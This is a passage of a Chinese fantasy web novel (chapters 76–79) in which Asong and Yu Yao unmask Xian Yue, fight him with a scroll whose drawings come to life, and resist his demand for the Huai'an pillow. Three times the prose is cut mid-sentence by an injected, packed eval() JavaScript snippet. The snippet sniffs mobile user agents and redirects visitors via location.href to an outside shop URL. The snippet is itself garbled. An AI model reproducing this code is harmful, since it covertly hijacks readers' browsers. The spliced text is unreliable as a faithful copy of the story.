这蜜豆尚是孩童之态,应是刚刚化形不久,尚未完全通人语,说不了太长的话,也解释不清什么,而且它生活在这下面,也不太可能知道地上人间月下仙人的名号,但既然说的是月相关,就不太可能有错。而它说的冼月,莫非,是月下仙人的本名? 想到此处,阿宋问道:“那小蜜豆,你能带我去见见你那位主人吗?” 76. 幻魂之症 得蜜豆引领,阿宋来到一处宽阔的书房,里面的装设依旧很简约,只有一张紫檀书桌和一把椅子,旁边还有个半人高的香炉,此时正燃着飘出袅袅青烟。 屋内无人,阿宋自顾走到书桌前,桌上静静摊着一副空白的画轴,上面压着块玛瑙镇纸。 忽然,蜜豆开口道:“书法。” 阿宋低转下头看他,蜜豆一路上都紧紧地搂抱着她的胳膊,此时亦是,它紧盯着桌上的画轴,又抬头睁着两个明亮的眼看着她重复了一遍:“主人、书法。” 阿宋瞟了眼桌角成摞堆着的卷轴,一瞬了然,它这意思应该是说月下仙人常在此处练习书法吧?不过,这对于此时的她来说并不是重点,她只关心月下仙人什么时候会回来,如果回来她要如何与他周旋?万一对方含有恶意,她又要如何全身而退? 她抽走胳膊又摸摸蜜豆的头,将它打发到一边玩,自己开始研究此间的地形。 要不她也设置个阵法?不行不行,月下仙人可是阵法天才,她这拙技没准未等她发动阵法,人家就发现破解了。 又或者,用符咒?她手往包里掏去,意外地掏出了一大把符咒,翻了翻,什么类的都有,引火的,降雷的,防御的,她挠破脑袋想了半天也不记得自己什么时候往包里放过这么一把,再仔细看这符咒上的字迹,一下子反应过来了,定然是喻遥之前怕她出危险偷偷塞进她包里的,想到这,不由得心头一暖。 将符咒贴在了屋里各处,又施了匿形咒掩蔽,想想又塞了一把在自己怀里,预备打起来时掏用着方便。准备好一切,刚一起身,转头就看到蜜豆在她身后盯着她。 “呃。”她尴尬地笑了两声,当着人家爱宠面又在人家房间布置这么一堆准备要人家好看的东西,实在是有点太明晃晃了。 谁知,那松鼠蜜豆却完全不在意,只是从身后拿出一根毛笔递出给阿宋,又重复道:“书法!” 阿宋接过。这毛笔笔杆由珍贵的紫檀木制成,上面雕刻着深沉神秘的木纹,握在手里温润舒适又颇具力度,笔头也是由洁白如雪的顶级羊毫制成,看着绝非凡物。但是,为何要给她这个? 她眯眼歪头看着蜜豆表达不解,对方直接拉过她另一只手,又将她拽到了桌前,手指在画轴上戳戳,又道:“姐姐、书法。” 他这是让她写书法?那她可没这技术。但瞧这小松鼠一脸兴致勃勃又几次三番要求,她也不忍让它失望,想了想便坐下来,手腕悬起,线条在纸面上开始缓缓延伸。 不多时,纸面上就出现了一副小像,画的正是蜜豆的原型外貌。 蜜豆只看了一眼,就欢天喜地地笑着鼓起掌来,似乎对这幅画十分满意,嘴里还喜悦地叫着“好看!蜜豆!” 阿宋受他情绪感染也笑了起来,再瞧桌上她这幅画,看着看着就止住了笑,似忽而意识到了什么,放下毛笔,离开桌边。 但她没注意到的是,她刚从桌边走开,那纸上的画迹就慢慢褪色消失了。 她走到旁侧,从怀里掏出喻遥之前在妙闻坊内给她的那副画轴。她刚突然记起,那画轴被喻遥提前注了大量灵息进去,即便此刻喻遥灵息全无应该也可得以维持,既然如此的话...... 她将画轴抛悬在空中,其自动展开,卷面随即显现出喻遥此时在地宫另一处的状态。 她心中大喜:果然可以看到! 画轴之内,喻遥此时已来到了地宫主殿。 主殿宽阔,殿内尽头之处数十道阶梯通上去一座高台,中央摆设着一张石质王座,扶手与靠背上都嵌着璀璨的宝石,在昏暗的环境下,光芒显得格外诡异。 而王座上的人,阖着双眼一肘支在扶手上,修长纤细的手指轻揉着太阳穴闭目养神,拇指之上那只扳指散发着柔和深邃的碧绿幽光。 喻遥幽幽道:“终于见到您了,月下仙人。” 王座上的人动作停了,睁开眼发出一声轻笑,但就是这一声轻笑,让阿宋的表情一僵。只因这笑声她太过熟悉,但却是绝不该由此人发出的。 画轴内的景象缓缓上移,渐渐露出那人全貌,他此时唇角微扬,没了彼时相见时脸上的嬉笑顽皮之感,取而代之的却是沉郁阴鸷。 慕恩。 阿宋的双眼瞬间瞪大,目光中满是难以置信,不确定地反复看了多次那人的样貌和他手上那只简直不能再代表他身份的绿玉扳指。 这时,旁边的蜜豆指着画轴激动地大叫起来:“主人!主人!” 此举无疑确凿了阿宋看到的一切,若是连蜜豆都一眼认出他便是月下仙人,那么就证明此时他脸上慕恩的容貌并非是一时化出,而是,那就是他平时示众的真容。 她转回头看向画轴内,深深锁起眉头。 慕恩,不,冼先生并没在喻遥脸上看到他想看到的表情,短暂失望过后脸上升起一层兴致道:“你看到我的样子,似乎并不惊讶。” 喻遥笑道:“当然,因为我早就猜到,慕恩与冼先生,是同一人。” “哦?”冼先生轻笑一声,从王座上起身缓缓走下台阶,行至他面前,平视他道:“你是如何猜到的呢?我记得,慕恩和冼先生在玉奚边境,可是同时在你们面前出现过呢。” “简单!巧用人壳之术即可完美做到。” 喻遥道:“玉奚边境酒馆内与我们同行的慕恩,乃是你的本体,而与我隔桌对饮的,是你以人壳之术造出的冼先生。人壳毕竟是人壳,不是人,无法做过于复杂的动作,比如与人交谈,但是对饮这样的简单动作还是可以做到的,而之后在妙闻坊再见到你的时候,慕恩已不在我们身边,你自可以用本体化出冼先生的脸,与我们细致对谈。” 冼先生道:“你说的确实合理,但这固然是猜测。” “不错,让我真正确认冼先生就是慕恩的,其实是另一样东西。”喻遥朝冼先生走近一步,两根手指在鼻前轻轻扇动两下道:“茶香之气。” 他自顾背过手走到一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992566|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,道:“鄙人不才,嗅觉尚可。妙闻坊内与你相见之时,曾嗅到你身上有股颇为熟悉的茶香之气,回忆许久,才终于忆起是在哪里闻到过。” “慕恩擅养花制香,身上常有多种香气,气味浓郁自然盖过别的香气,但嗅觉稍微灵敏的人其实仔细分辨可以嗅出他诸多香气之下,其实还有一种特别味道,便是那一模一样的茶香味。并且这味道,当我来到春信轩后园时再度闻到时,便更加确认。” 冼先生道:“阁下真是谦虚了,能分辨出这些,嗅觉岂非只算是尚可?” 喻遥无视他的调侃之词,自顾又道:“当我确认你这两重身份后,我曾对于慕恩在我们身边隐藏多日而不被发现的演技感到一阵佩服,毕竟多日内十二个时辰持续不断的隐匿灵息,这世上几乎无人可以做到。而这个问题,直到我在三境结界内为救阿宋时意外抓住你手腕,才得以解答。” “这世界上最好的演技,便是连他自己都不知道自己在演,于他心中所想,他就是那个人本身。而这份珍贵的信念感,却来得并不容易。” 喻遥悠悠转过身,狡黠笑道:“幻魂之症。” 寻常人通常具备三魂七魄,而所谓幻魂,便是患病之人在三魂基础上所幻化出的多余一魂,这一魂一旦产生,便颇具主导能力,它个体意识强大,常常取代人本体的原来主魂,使其身体与原本性格记忆解离,几乎完完全全的变成另外一个人。 喻遥道:“我猜,慕恩便是你体内因幻魂症而化出的,另一个与你性格截然不同的人。他个性强烈又与你本性相悖,不知不觉中经常与你抢占身体的主导位置。你很聪明,没有选择与他激烈的抗争,而是借由这个点,为自己造出了两重身份,从而更加方便你在三界里与多人斡旋。之后,你设下骨语花之谜,期间故意释放了身体的主动权给了他,引导我们去结识慕恩,从而到琼慕国探寻谜底。” 冼先生鼓起掌来。如今当面被喻遥戳穿,他毫不慌乱,脸上反而微微现出欣赏之意,慨叹道:“喻遥大人真是厉害,只不过借着抓我手腕那一瞬的功夫,便能从我的脉象中探知到这么多信息,真是让我越来越欣赏你了。” 阿宋在画像这边看着冼先生顶着慕恩的脸以这样的语气说话,一时只觉得割裂违和无比。转念想想,心下却有些难过,如喻遥所说,慕恩只是幻魂,并非真人,那么如今冼先生已抢回了身体的主导位置,是不是就说明,之后她再也见不到她们的朋友慕恩了? 这时,冼先生又道:“我看大人你,似乎一副话未说完的样子?来!尽情道出,我期待你的发言。” 喻遥盯着他看了一阵,忽而走到他几乎贴身之处,嘴唇凑到他的耳边,仿佛准备脱口一个何其之大不能向多人道也的秘密。 他轻声道:“我还知道你的名字,以及,你到底是谁。” 冼先生微微转头,斜睨着他。 “久违了,衔月大人。” 冼先生原本松弛的表情凝固在那一瞬间。 77. 黑白判官 衔月陷入一阵漫长的恍惚,已经太久太久没有人这样称呼过他了。 当初离开地界时,心中所想,只盼今后抛下过往的一切怨怼,开启新生。但他深知,其实这么多年来,他从未忘记过那段饱含缺憾的过去,甚至深受其折磨,以至于如今再度有人唤他此名之时,仍是久久不能回过神来。 直到喻遥动作收回身型,他才敛了失神的模样,化归原有那派淡然从容,笑道:“衔月,确实是很久以前我在地界时使用的名字,不过,你是如何得知的呢,据我所知,在你出现于地界很久前,我就已经离开了,而且......” 他突然顿住言语,眼睛没有落点的望着某处,仿佛沉浸在另一个遥远的世界里,眼睛里略有伤感,却很快被坚定的恨意所遮蔽。 喻遥接上他的话道:“而且,你在地界的痕迹已被揽星尽数抹除,无处可寻你的信息。” 衔月冷哼一声道:“他失去的,可并不比我少。” 阿宋看得愈发迷惑了,如今已知慕恩和衔月乃是同一人,得他此时又认证了那火灼洞下掩盖的面目亦是他,那么为何那幅画上,火灼洞旁的脸与他又一模一样? 喻遥道:“前不久,我与阿宋误打误撞发现了地界一座废弃的楼阁,进入之前,我曾在一旁的草地里捡到了一块通体断裂,上面字样也遭损毁的牌匾。万幸,它并非是被三境结界的火灼而损毁,而是大抵曾经那里经历过战争打斗,误遭普通的术法炸破才损毁的。” 衔月道:“你把它给复原了?” 阿宋意会了。地界内的建筑,皆是以每座建筑的最高主事名字来命名的,比如判官的揽星阁,地君的曜旸宫,所以复原牌匾也就知道了那座楼阁主人的名字。 “不错。”喻遥道:“但那仅仅是一个名字,具体的身份我们还尚不可知。” 他接着道:“之后我们又在顶层进行了搜索,发现,顶层内放置的关键文书署名处都出现了覆盖原字样的火灼洞,再加上后来找到了三境结界术的原本,清楚知道了三境结界术的术法原理,就并不难得出,这楼阁的主人,衔月,就是被揽星使用三境结界术抹掉痕迹的人。” 喻遥怀中掏出功绩簿,将那幅画展开在衔月面前。 衔月隔着段距离眯着眼倏一看清,就脸色不善地别过了头,仿佛再多看一眼都会被其恶心到。 喻遥静静道:“这幅画,是最大的疑点。一开始,我们不知你与慕恩之间的联系,再加上揽星这段时间确实行踪诡秘,便一时大胆地猜测,或许当年,是揽星夺走了原属于慕恩的判官之位以及那块可以号令地界众官的鱼佩。而这幅被毁掉了一部分的画里,你与慕恩的关系看着十分密切,我们也就把你当成了遭遇揽星灭口的慕恩的朋友。” 喻遥面上涌上几分愧色,道:“是我误会了我的朋友。” 他抬起眼与衔月对视,手中举起一样事物道:“真正的疑团,直到我刚刚误打误撞走入了你的书房才被解开。” 阿宋视线聚于画轴之内定睛望去。此时喻遥手里拿着的正是一块和揽星腰间常年悬挂着的那块,完全相同的鱼佩。 喻遥道:“那日与揽星重逢时,我记得他的鱼佩还好生挂在他的腰间,而我刚才在你书房里搜寻,竟然在这锦盒之中发现了一模一样的另一块,我一时奇怪,下一瞬,却忽然想起了被我遗忘的一件很久之前的事情。” “刚在地界就任时,我为了快速了解地界的一切,曾经阅读过很多典籍,其中一本讲的便是玉器,我想起那时我曾在上面看到过关于这鱼佩的信息,这鱼佩乃上古玄玉所制,当年被地君研磨过后,制成了一模一样的两块。后来在一场任命仪式里,被赠送给了地界两位同样等级的高官。” “我在想,揽星作为判官,在地界已然是地君一人之下,万人之上的位置了,还会有什么高官是能够与他并肩同级的呢?” 喻遥的手指在功绩簿上轻轻摩挲:“鬼使神差的,我联想起了这幅画下面的诗句,产生了一个新奇的猜测。” “黑白。” “这上面写,黑白判官功万千。乍一看去这句诗,便会自然以为此黑白指得是断定黑白,但我突然想到,这黑白为何不能是黑和白呢?人们常道地界有黑白两位无常,而在那众人被抹除部分记忆的过去里,为何不能各有一位黑判官和白判官呢?随后,我很快对照了你书房内字画的字迹,我确认无误,你就是地界那座神秘楼阁的主人。” “揽星曾经问过阿宋一个奇怪的问题。他问阿宋,冼先生长得好看吗?这个问题,乍一听像是他在跟人闹着玩,但其实仔细思考过后,便能发觉其中深意。” 喻遥忽而抬起手,目光凿凿地指着衔月的面目道:“因为,你此时脸上的面容,曾经,是属于揽星的。” 阿宋面色大变,这是个什么说法,揽星和衔月两个人曾经交换过容貌? 她从未听说过这等奇怪的术法! 衔月的脸色已经找不到原本的笑意了,此时看起来脸上居然还流露着几丝微妙的难堪。 然而喻遥却毫无所觉,仍在继续道:“三境结界术可以抹除掉一个人所有的痕迹,如果只是纯文字的记录还好,但是带有面貌相关的,我想,它应该做不到,可以准确地连被换过样貌后的你的痕迹,也一起消除,所以才会导致这幅图画上,熔洞旁边的这张脸并未被熔掉,因为在三境结界术的识别当中,他应当是属于揽星的。 而揽星之所以问阿宋那个问题,是因为他在发现你动用仅有三人会使用的三境结界术带走了我后,意识到月下仙人可能就是你。所以,他才会以那俊美的容颜作为线索,向阿宋确认你的信息。” “之后,揽星虽然在阿宋那里得到了冼先生相貌平平的答案,但他还是起疑了。其实想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144771|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验证并不难,妙闻坊开在全国各地,香师慕恩的画像挂的到处都是,只要他能够发现一副,便能知晓其中端倪,所以他才会派雪貂在春信轩里持续的监督你、等待你。” “而你却一直在躲着他。我想,当初慕恩在琼慕国里消失的突然,过后没多久揽星就到了,这也并非是单纯的巧合,应当也是你本体已提前感知到揽星的灵息,怕被他发现你还活在世上的讯息,才会在那种情况下强行带走了慕恩。” “怕?”衔月冷笑一声:“你认为我是怕他才会躲着他?那你可真就错了,我不见他,只不过是不想在我事情未成之时,被这个蠢货跳出来打扰罢了。” 他的目光忽而变得锐利,道:“而且,当初离开地界的时候,我曾经发过誓,若之后在三界内再度碰面,我一定会取他性命。这么说起来,现在倒是我先放过他一马了。” 他说这话的时候,周围的空气仿佛都因为他的恨意而变得凝固了。却教阿宋不禁好奇,揽星和衔月之间到底结了什么深仇大恨,以至于这么多年过去了,他的恨意还是如此的浓烈不减毫分? “呵。”喻遥几不可闻的轻笑了声。 衔月一愣。 喻遥眼中带着股轻蔑之意道:“先不论现今如何,我只知道,当初被打的落花流水,被逐出地界的人,是你,不是揽星,对吗?” 衔月怒道:“你说什么!” 阿宋的心都跟着喻遥悬了起来。我的个遥啊,别忘了你现在可是灵息全失,要是真把你面前这个人惹急了,他现在可完全有能力一掌拍死你啊! 然而那边喻遥仍是毫无所觉,还在以一种不要命的挑衅语气持续输出:“被逐出就算了,还被抹掉了一切痕迹,建立了这妙闻坊又如何?不过是无家可归的丧家之犬逃往他处建立的苟延残喘之所罢了!” “够了!”衔月怒喝。 他双目通红,其中似燃烧着两团愤怒的火焰,静静地伫立着,宛如一座即将喷发的火山,马上就要将世间的一切都焚烧殆尽。 就在这时,阿宋注意到昏暗的光线下,喻遥嘴角勾起了抹轻笑。 下一瞬,喻遥身影迅疾奔出,一闪之间已欺近衔月身前,掌间劲力狠狠击在他的心口! 衔月已被他的轻蔑之词刺激的心绪大乱,一时竟全无防备,实打实地遭了这一掌倒摔在一旁。 阿宋感受到心口处有灵息流过,喻遥的声音在脑海间响起。 她瞬间明朗,原来刚才喻遥是故意设空子转移衔月注意的!这一掌下去,衔月身体受损自然无法再继续维持限制灵息的阵法,他就能恢复灵息了! “阿宋!阿宋!你能听到我说话吗!你在哪里!” 阿宋急忙回话道:“我在呢我在呢,我现在在他的书房!” “好!你......” 这时,一旁倒地的衔月缓缓地站了起来。 78. 一页之书 阿宋暗道不妙。衔月的功力属实深厚,喻遥这一掌重击下去,居然并未对他造成多大的伤害。 但这一掌却成功让防备心降低的衔月回过神来,一眼看穿喻遥的意图,嗤声道:“你如果此时灵息还在,这一掌或许还能伤得到我,只可惜你现在灵息全无,此番操作无非是以卵击石罢了!” 须臾间形势再度调转,衔月周身已升起凛月般的寒气,那是他灵息剧烈运起的征兆。 喻遥下意识缓缓向后退去。 阿宋在这边看着登时紧张起来,喻遥刚那一瞬恢复的灵息马上又要耗尽了,到时心声连接也会断开,一旦断开更无法探知其状态,现在必须要立即想出办法解救喻遥! 可是,人在越焦灼的情况下脑袋就越容易是一片空白,她一时竟全无解法! 这时,忽而身后传来砰的一声闷响,阿宋回身,看到蜜豆化回了兽形正站在书案上,脸和身体都粘了黑漆漆的墨汁,她视线下移瞬间了然,那声闷响正是它刚才打翻了桌上的砚台发出的。 忽然,那书轴上的白纸亮光一闪。 下一瞬她便惊讶地瞪大了双眼,因为那白纸上被蜜豆打翻砚台溅上的墨水花,竟然瞬间消失了! 她还未反应过来,脑海间就传来喻遥的剧烈心跳声,她立即转回头,见画轴之内衔月正在逐渐向喻遥逼近,却忽然于两人中空,突兀地炸出了几团术法火焰,衔月霎时后退以臂挡起,喻遥亦是讶然。 “书法!书法!快!书法!”蜜豆忽然大叫起来。 阿宋看着它,又望向桌上的画轴,有什么东西在脑海间飞速闪过,刹那间她心下雪亮,拍掌道:“是术法!”她扑将到桌旁,兴奋地看着蜜豆道:“你说的是术法对不对!” 蜜豆立即原地蹦蹦跳起来,似在回应认同她的话。 阿宋拾起那根羊毫笔,蘸取些许倒洒在桌上的墨汁,手在雪白的纸面上开始快速滑动,心下思索道:蜜豆刚通人语不久,有些发音还尚不熟练,所以才会把术法说成书法。且他此性热情如同孩童,刚才进屋,应该是想要把这会点石成金的新鲜宝物介绍给自己,无奈语言不通,才生了误会。 而现在,她既已领悟,那就要好好利用这东西帮助那边的喻遥了。 另一边,衔月尚在迷惑那不知名的术法来源,喻遥就看准时机先行出手了。他一掌袭去,这次却并非是纯靠拳脚,而是从怀间掏出符咒夹在指间,借符咒内的灵息攻击衔月。衔月亦以赤手相抗,但更准确地来说,他的手就是他的武器。 只见他手臂绷直抬起持在胸前,时而躲避时而挥出,但凡挥动,就有一道如利刃般犀利的强烈力量激射而出。 那力量幽暗之下冒着炫目的白色光芒呈现出钩月形态,势如疾风快若闪电,道道擦着喻遥躲避的身体而过。 突然喻遥口中嘶了一声,停下攻击退步驻身到旁侧,扭头看手捂着的左臂,拿开手,上面已有一道深刻的伤口涌出魂气。 他转回头,对面的衔月已放下手刀,如今指间夹着一张从喻遥那顺过来的符咒,瞧着瞧着便露出不屑的眼神,道:“定身符?这个东西,莫说你没能成功让他挨上我的身体,就是挨上了,也没什么用。” 他五指猛然张开,符咒落于其中,狠狠一掐,再展开时,掌间就只剩下一小堆飘着火星的灰烬了。 衔月冷笑着将那把灰烬撒在喻遥面前。 他正欲迈步过来,忽然头顶传来异响,伴随一声震耳欲聋的咆哮,一只老虎从天而降,稳稳落在二人中间,挡住衔月的去路。 与此同时书房内,阿宋满意地看着自己刚刚落笔的猛虎图大作,缓缓消失在纸面上。 老虎瞪着两只铜铃巨眼,目光森然地盯着面前的衔月,粗壮的尾巴摆动不止,一条后腿绷直蹬紧,俨然已成攻击之态,果不其然,下一瞬它庞大的身躯如离弦之箭猛然朝衔月射出! 衔月骤然间瞳孔收缩,脸上却只见惊色不见惧色,手刀挥出直斩猛虎颈部。 刹那间,老虎惊雷般的咆哮声回荡在地宫之内,掀起阵阵声波刺激着在场人的双耳。兽体一瞬倒地,很快又再度撑起,利爪巨掌拍向衔月。 衔月身型飞掠而起,闪避的瞬间回身再挥一手刀攻向它的腹部,正中其害! 一人一虎在大殿内缠斗不止,喻遥见这来路不明的老虎突然相助正心有疑虑,脑海间刚好传来阿宋的声音告知实情让他不必担忧,喻遥刚要回话,却在这时最后一丝灵息耗光,心声连接断开了。 耳边忽而传来一声沉闷的哀鸣,喻遥立即望去,原是缠斗之下那老虎终于受不了衔月的千刀万剐而血尽气竭,倒地丧命了。 衔月还是那般淡然优雅的模样,垂眉低眼地看着身侧地上老虎的尸身,脸颊上沾着一丝老虎的血腥,手指轻轻抹去,漠然间忽而绽放笑容,眼底是无尽的狠厉和疯狂。 他对着上空厉喝道:“是何人在擅自操动一页之书!” 阿宋一愣,看着手里的笔和桌面上的画轴,暗道这法宝叫一页之书? 算了管它呢! 她再度动起笔来,心想一只老虎斗不过你,那我就多画几只。 她成画快,线条也畅,不多时几只老虎就幻化在衔月面前。阿宋生怕这老虎不够强壮打不倒衔月,画的时候小手一歪身体线条画的能有多宽就多宽,是以此时衔月面前的老虎个顶个的强悍猛壮。 然而这依然挡不住衔月,他的身法诡异且灵活,一人斗五虎竟然都不在话下,但时间一长,体力就渐衰了。阿宋正要一鼓作气再补几只狼上去助力,忽然胳膊被人抱住了。 蜜豆看着她,轻轻摇了摇头,手又指了指那画轴。 阿宋登时会意,蜜豆应当是担忧若她再持续添加下去,衔月恐怕会有生命危险。她陷入沉思,蜜豆与他们初次相识,他此番帮忙纯粹是因为孩子的纯真天性,她不能以怨报德,对人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177306|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主人下死手。 她手在蜜豆头上摸摸,示意让他安心。 但转念一想,此时必须控制住衔月才能保全喻遥。思索过后,她再度持起笔开始绘制,只是这次却没有再画什么猛兽了。 那边衔月将这新来的五只也尽数斩断颈首,脸上是深陷鏖战后的快意,继续对着空中喊道:“来啊!来多少我杀多少!” 虚空之中果然再度传来异响,只见地动山摇间一个巨大人形拔地而起。 衔月随着他的拔高缓缓抬头,这巨人身躯之壮高宛如山峰,露在铠甲外的每寸肌肉都坚实有力,脸上浓眉入鬓,双目圆瞪,目光所及尽现威严。 只是,喻遥从身后望着他的背影却愈发觉得眼熟,直到他微微侧过身挥起手中银枪,喻遥才大声惊呼道:“海猛?!” 这海猛并非是他们认识的真实海猛,乃是阿宋画出来的幻象,她刚脑海里灵光一闪,不知怎的就想画个巨人出来,心里只想着化的威猛一些,画着画着直到画完自己才反应过来,我靠这不是海猛大人吗?! 转念一想小问题小问题,既然画了那就好好玩一下! 衔月足尖轻点尽力跃起到半空,然而也只到海猛的腰位,他一手刀刚要挥出,突然海猛的肚子猛地向前弹凸出来,直接把他顶了回去。 与此同时,阿宋正嘿嘿笑着拿毛笔在海猛肚子上画凸出来一圈,满意地自言自语道:“嗯!这样才更像一点!” 衔月被他顶得摔坐在地上,手扶着头只觉得被他那肚子弹得脑袋里面嗡嗡的。整顿精神再度跃起,这次又被他肥壮的屁股忽然一扭,直接拱摔进墙里留下一个巨大的人形。 这无疑也是阿宋的手笔,确实荒谬但实在有效,快把一旁围观的喻遥逗的笑出声来。 如此反反复复多次,阿宋在那边画的开心惬意,衔月在这边被弹的怀疑人生,此种攻击手法,只让他觉得对方是在羞辱于他,却又无可奈何真是斗不过。 阿宋手酸停了会儿笔,巨人海猛也停了下来,趁这空当,衔月灰头土脸地从墙缝中爬出,心念电转,竟是放弃缠斗,向大殿后面逃去。 “别跑!”喻遥喝声动身追去,还有事情没找他问清! 他这一跑,正正当当的从海猛的背面跑到了正面。 身后传来动静,喻遥下意识停住了脚步,回过身,却见海猛正双目圆瞪着自己,浑身肌肉蓄力,蓄势待发,俨然攻击对象刹那间已从衔月变成了他! 喻遥顿悟,这法宝化出的幻象一定是无差别攻击,他没有意识分不清敌人。现在又断了指契咒的联系,阿宋不知现场情况是衔月已经跑了,还在一股脑地操控海猛攻击,那么无人可锤,只有锤他了。 喻遥抬起头,看着巨人海猛朝自己越靠越近,高大的阴翳渐渐盖过他的头顶,从未想象过此人在他面前,竟有机会让他感到如此压力。 这时,巨人海猛朝他高举起蓄满力量的右拳。 79. 所求之物 一声巨响,摇天撼地,因为过于用力,巨人的拳头都锤陷进了地里。 喻遥躲摔在旁侧,喘着粗气看着正在使劲将手往外拔的巨人,心下一阵后怕。 巨人手拔出的一瞬间,喻遥腾地站起拔腿就奔出殿外,庞大的身躯在身后紧追不舍,每步步伐都沉重无比撼动大地,时而还发出震耳欲聋的咆哮,喻遥大气不敢喘头也不敢回,慌乱疾奔中强逼自己冷静回忆书房方位。 阿宋正转着毛笔,满脸认真的思索还要再加点什么,就听见一连串动静靠近,随之一道熟悉身影狼狈不堪地奔进屋内,看见她登时眼睛一亮,喻遥大喊道:“快停手啊!” 阿宋:“......” 轰隆一声,令屋内三人俱是哆嗦了下。巨人大脚板蹬踹而入,坚厚墙体立时碎裂,瓦砾碎石飞扬四溅。阿宋看清海猛的样子,惊讶地张大了嘴。 喻遥再度喝道:“快停止施法!他不认主!” 阿宋急忙道:“好的好的!” 她立即持笔在纸面上将海猛画像涂黑。巨人海猛的身型霎时一顿,喻遥手臂撑桌扫身飞跃到阿宋身侧,按住她的头俯身护在桌下,又把看热闹的蜜豆给拽下来。 下一瞬,寂静的空间内爆发出炸响,幻象化为一股强烈的力量犹如烟花炸散了,刺目的炫光覆盖了整个昏暗的房间。 待到彻底安静,阿宋才双手扒着桌沿小心翼翼地探出头来,看着一地狼藉和空无一物的屋内,阿宋颤声道:“没了吧?真没了吧?” 喻遥长出了口气,站直道:“应该是没了。” 阿宋拍拍胸口,长吁道:“还好还好。” 可真是吓死了,差点弄巧成拙伤及我方人士了! 阿宋扒弄检查了下他的身体,问道:“有受伤吗?” 喻遥摇摇头,双指端起皱眉道:“但是灵息还没有恢复。”转头看到抱着阿宋胳膊的蜜豆,疑惑道:“他是?” 阿宋道:“啊,他是衔月的灵宠,刚才多亏这个小家伙帮忙了,就是他提醒我这个一页之书的用途的。” 喻遥对上它的两只小豆眼,蜜豆立刻往阿宋身后缩了缩。 半晌,虽然对方是小孩,喻遥仍是端正的双手行了个礼道:“多谢。” 蜜豆嘻嘻笑了。 喻遥转头看着桌上又恢复成空白纸面的一页之书,道:“这倒确实是个好东西。” 他手在上轻抚正要细细查看,忽而那书轴带着笔自动卷起,飞出落到不知何时站在门口的人手中。 蜜豆眼睛亮了,惊喜道:“主人!” 衔月得意地看着手里的卷轴,转回头朝众人一挑眉,又对蜜豆一勾手指:“过来。” 蜜豆立即撒开阿宋的手朝他奔去,途中化回松鼠原型,攀越他身体而上坐落在其肩头,拱拱鼻子蹭蹭他的耳朵。 衔月轻轻摇头,手指在它鼻子上刮了一下,开口半是无奈半是宠溺:“养你就是给自己添乱的。” 蜜豆冲他摇摇尾巴。 衔月转回头看着二人道:“现在该到我们清算了。” 喻遥瞧他此时白净的脸整洁的外衣,暗道刚才被巨人弄得灰头土脸,这么会功夫他还洗漱了下换了身衣服? 阿宋道:“你到底想干什么?” 衔月道:“放心,我只想得到我想要的东西。至于他刚才说的话,我可以既往不咎。” 喻遥讽刺道:“在全国各地设立分坊,以妙人吸引仰慕者,看似在做生意,实则无形中仰慕者亦可算是你的眼线,你只需要把你想关注的人捧上高位,那人的任何信息都会被你收入,再加之密谋筹算,还有什么东西,是堂堂妙闻坊主得不到的。” 衔月笑了,视线忽而放空道:“你错了,这世界上,我竭力所求亦求不到的东西太多太多了。” 他背过手正色道:“我想要的,是你们手里的槐安枕。” 喻遥阿宋一愣,他要这东西干嘛? 喻遥回想起当时被他关在裂境时,昏迷朦胧间确实感觉到有人搜寻过他的身上,所以那时就是在找槐安枕?只可惜衔月没想到,离开琼慕国之后,槐安枕就被他放在阿宋身上了。 阿宋心声朝喻遥道:“他要槐安枕干嘛?也想回到过去?” 喻遥道:“不知。但决不能随意给他,槐安枕对时间的控制比三境结界术大多了,万一出什么意外,整个三界都得跟着他崩盘。” 衔月大声道:“如何?给还是不给?” 喻遥道:“此物并非是我二人专属,乃是地界的法宝,若要借给你,也得先问过地君和判官大人才是。” 话中推拒之意明显。 不知为何,阿宋觉得只要一提到揽星,衔月的脸色就十分难看,他嗤声道:“我要什么东西,还要问过他?若你们不愿意给,那我便直接抢过来!” 他话音未落,已再度端起手刀。 喻遥抓着阿宋的胳膊后退,阿宋反抓住他的手冲他眨了眨眼。 喻遥:“?” 衔月缓缓靠近,二人缓缓后退,忽然阿宋不耐烦道:“算了算了,打也打不过你,给你得了!” 她忽然从怀里掏出槐安枕朝旁侧地上狠狠一掷,衔月登时视线追随而去,伸出手就要去抓,就在这时,阿宋一掌袭出,衔月早有防备,左手手刀反挥而出,喻遥拽过阿宋旋身避开。 手刀力量击中后方的墙体留下一道割痕。 